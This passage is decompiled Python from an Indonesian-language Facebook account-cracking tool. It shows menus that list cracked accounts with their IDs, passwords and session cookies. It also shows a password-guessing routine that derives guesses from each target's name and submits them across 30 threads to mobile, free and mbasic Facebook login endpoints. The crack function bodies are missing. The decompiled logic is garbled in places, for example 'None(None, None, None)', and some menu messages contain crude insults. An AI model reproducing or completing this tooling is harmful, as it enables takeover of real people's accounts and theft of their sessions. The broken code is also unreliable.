741 | print('>> Pilih Yang Bener Kontol ') 742 | exit() 743 | else: 744 | 745 | try: 746 | lin = open('CP/' + geh, 'r').read().splitlines() 747 | finally: 748 | pass 749 | print('>> File Tidak Di Temukan ') 750 | time.sleep(2) 751 | back() 752 | nocp = 0 753 | for cpku in range(len(lin)): 754 | cpkuni = lin[nocp].split('|') 755 | cpkuh = f'''# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}''' 756 | sol().print(mark(cpkuh, 'yellow', **('style',))) 757 | nocp += 1 758 | input('[ Klik Enter ]') 759 | back() 760 | return None 761 | if kz in ('2', '02'): 762 | 763 | try: 764 | vin = os.listdir('OK') 765 | finally: 766 | pass 767 | 768 | if None if FileNotFoundError else len(vin) == 0: 769 | print('>> Anda Tidak Mempunyai File OK ') 770 | time.sleep(2) 771 | back() 772 | return None 773 | cih = None 774 | lol = { } 775 | for isi in vin: 776 | 777 | try: 778 | hem = open('OK/' + isi, 'r').readlines() 779 | finally: 780 | pass 781 | continue 782 | cih += 1 783 | if cih < 100: 784 | nom = '0' + str(cih) 785 | lol.update({ 786 | str(cih): str(isi) }) 787 | lol.update({ 788 | nom: str(isi) }) 789 | print('[' + nom + '] ' + isi + ' [ ' + str(len(hem)) + ' Account ]' + x) 790 | continue 791 | 792 | lol.update({ 793 | str(cih): str(isi) }) 794 | print('[' + str(cih) + '] ' + isi + ' [ ' + str(len(hem)) + ' Account ]' + x) 795 | geeh = input('\n>> Pilih : ') 796 | 797 | try: 798 | geh = lol[geeh] 799 | finally: 800 | pass 801 | if KeyError: 802 | print('>> Pilih Yang Bener Kontol ') 803 | exit() 804 | else: 805 | 806 | try: 807 | lin = open('OK/' + geh, 'r').read().splitlines() 808 | finally: 809 | pass 810 | print('>> File Tidak Di Temukan ') 811 | time.sleep(2) 812 | back() 813 | nocp = 0 814 | for cpku in range(len(lin)): 815 | cpkuni = lin[nocp].split('|') 816 | cpkuh = f'''# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}''' 817 | sol().print(mark(cpkuh, 'green', **('style',))) 818 | print(f'''{hh}COOKIE : {x}{cpkuni[2]}''') 819 | nocp += 1 820 | input('[ Klik Enter ]') 821 | back() 822 | return None 823 | if kz in ('0', '00'): 824 | back() 825 | return None 826 | None('>> Pilih Yang Bener Kontol ') 827 | exit() 828 | return None 829 | 830 | 831 | 832 | 833 | 834 | 835 | def setting(): 836 | cetak(nel('\t RECOMMENDED ACCOUNT NEW')) 837 | print('') 838 | print(f'''{x}1. ACCOUNT OLD ({M}No Recommended{M}{x}){x} ''') 839 | print(f'''2. ACCOUNT NEW ({H}Recommended{H}{x}){x} ''') 840 | print(f'''3. ACCOUNT RANDOM ({H}Recommended{K}{x}){x} ''') 841 | print('') 842 | hu = input('Select : ') 843 | if hu in ('1', '01'): 844 | for tua in sorted(id): 845 | id2.append(tua) 846 | elif hu in ('2', '02'): 847 | muda = [] 848 | for bacot in sorted(id): 849 | muda.append(bacot) 850 | bcm = len(muda) 851 | bcmi = bcm - 1 852 | for xmud in range(bcm): 853 | id2.append(muda[bcmi]) 854 | bcmi -= 1 855 | elif hu in ('3', '03'): 856 | for bacot in id: 857 | xx = random.randint(0, len(id2)) 858 | id2.insert(xx, bacot) 859 | else: 860 | print('>> input correctly ') 861 | exit() 862 | print('') 863 | cetak(nel('\t SILAHKAN PILIH MTHODE 1-3')) 864 | print('') 865 | print(f'''1. {P}Mobile {B}m.facebook.com{x} {H}Recommended{x}''') 866 | print(f'''2. {P}Free++ {B}free.facebook.com{x} {H}Recommended {x}''') 867 | print(f'''3. {P}Mbasic {B}mbasic.facebook.com{x} {H}Recommended{x}''') 868 | print('') 869 | hc = input(' Pilih : ') 870 | if hc in ('1', '01'): 871 | method.append('mobile') 872 | elif hc in ('2', '02'): 873 | method.append('free') 874 | elif hc in ('3', '03'): 875 | method.append('mbasic') 876 | else: 877 | method.append('mobile') 878 | cetak(nel('\tRECOMMENDED PASSWORD MANUAL')) 879 | pwplus = input(' Gunakan Password Manual ( Y/t ) ') 880 | cetak(nel('\t TANDA (,) UNTUK PENGHUBUNG')) 881 | if pwplus in ('y', 'Y'): 882 | pwpluss.append('ya') 883 | cetak('Gunakan Password Minimal 6++ Kalimat\nContoh :[green] name,name123,name12345[white] ') 884 | pwku = input('Masukan Password : ') 885 | pwkuh = pwku.split(',') 886 | for xpw in pwkuh: 887 | pwnya.append(xpw) 888 | else: 889 | pwpluss.append('no') 890 | passwrd() 891 | 892 | 893 | def passwrd(): 894 | print('') 895 | print(f'''>> Results {h}OK{x} Save in : {h}OK/%s {x}''' % okc) 896 | print(f'''>> Results {k}CP{x} Save in : {k}CP/%s {x}''' % cpc) 897 | print('>> Play Airplane Mode Every 500 ID\n') 898 | with tred(30, **('max_workers',)) as pool: 899 | for yuzong in id2: 900 | idf = yuzong.split('|')[0] 901 | nmf = yuzong.split('|')[1].lower() 902 | frs = nmf.split(' ')[0] 903 | pwv = [] 904 | if len(nmf) < 6: 905 | if len(frs) < 3: 906 | pass 907 | else: 908 | pwv.append(nmf) 909 | pwv.append(frs + '123456') 910 | pwv.append(frs + '12345') 911 | pwv.append(frs + '1234') 912 | pwv.append(frs + '321') 913 | pwv.append(frs + '123') 914 | elif len(frs) < 3: 915 | pwv.append(nmf) 916 | else: 917 | pwv.append(nmf) 918 | pwv.append(frs + '123456') 919 | pwv.append(frs + '12345') 920 | pwv.append(frs + '1234') 921 | pwv.append(frs + '321') 922 | pwv.append(frs + '123') 923 | if 'ya' in pwpluss: 924 | for xpwd in pwnya: 925 | pwv.append(xpwd) 926 | 927 | if 'mobile' in method: 928 | pool.submit(crack, idf, pwv) 929 | continue 930 | if 'free' in method: 931 | pool.submit(crackfree, idf, pwv) 932 | continue 933 | if 'mbasic' in method: 934 | pool.submit(crackmbasic, idf, pwv) 935 | continue 936 | pool.submit(crackmbasic, idf, pwv) 937 | None(None, None, None) 938 | if not None: 939 | pass 940 | print('') 941 | cetak('\t[cyan]>>[green] Succesfully Crack,Dont Forget Send Your Feedback After Use My Script [cyan] <<[white] ') 942 | print('') 943 | print(f'''{h} OK : {h}%s ''' % ok) 944 | print(f'''{k} CP : {k}%s{x} ''' % cp) 945 | print('') 946 | print(f'''\t{x}>>{k} Good Bye Thanks To Using My Script {x} << ''') 947 | 948 | 949 | def crack(idf, pwv): 950 | bi = random.choice([ 951 | '\x1b[m']) 952 | pers = loop * 100 / len(id2) 953 | fff = '%' 954 | print('\r%s[JAHID] %s/%s 𝙾𝙺 : %s 𝙲𝙿 : %s %s%s%s' % (bi, loop, len(id2), ok, cp, int(pers), str(fff), x), ' ', **('end',)) 955 | sys.stdout.flush() 956 | ua = random.choice(ugen) 957 | ua2 = random.choice(ugen) 958 | ses = requests.Session() 959 | # WARNING: Decompyle incomplete 960 | 961 | 962 | def crackfree(idf, pwv): 963 | bi = random.choice([ 964 | '\x1b[m']) 965 | pers = loop * 100 / len(id2) 966 | fff = '%' 967 | print('\r%s[JAHID] %s/%s 𝙾𝙺 : %s 𝙲𝙿 : %s %s%s%s' % (bi, loop, len(id2), ok, cp, int(pers), str(fff), x), ' ', **('end',)) 968 | sys.stdout.flush() 969 | ua = random.choice(ugen) 970 | ua2 = random.choice(ugen) 971 | ses = requests.Session() 972 | # WARNING: Decompyle incomplete 973 | 974 | 975 | def crackmbasic(idf, pwv): 976 | bi = random.choice([ 977 | '\x1b[m']) 978 | pers = loop * 100 / len(id2) 979 | fff = '%' 980 | print('\r%s[JAHID] %s/%s 𝙾𝙺 : %s 𝙲𝙿 : %s %s%s%s' % (bi, loop, len(id2), ok, cp, int(pers), str(fff), x), ' ', **('end',)) 981 | sys.stdout.flush() 982 | ua = random.choice(ugen) 983 | ua2 = random.choice(ugen) 984 | ses = requests.Session() 985 | # WARNING: Decompyle incomplete 986 | 987 | if __name__ == '__main__': 988 | 989 | try: 990 | os.system('git pull') 991 | finally: 992 | pass 993 | 994 | try: 995 | os.mkdir('OK') 996 | finally: 997 | pass 998 | 999 | try: 1000 | os.mkdir('CP') 1001 | finally: 1002 | pass 1003 | 1004 | try: 1005 | os.system('touch .prox.txt') 1006 | finally: 1007 | pass 1008 | login() 1009 | return None 1010 | return None 1011 | 1012 | 1013 | 1014 | 1015 | 1016 | 1017 | --------------------------------------------------------------------------------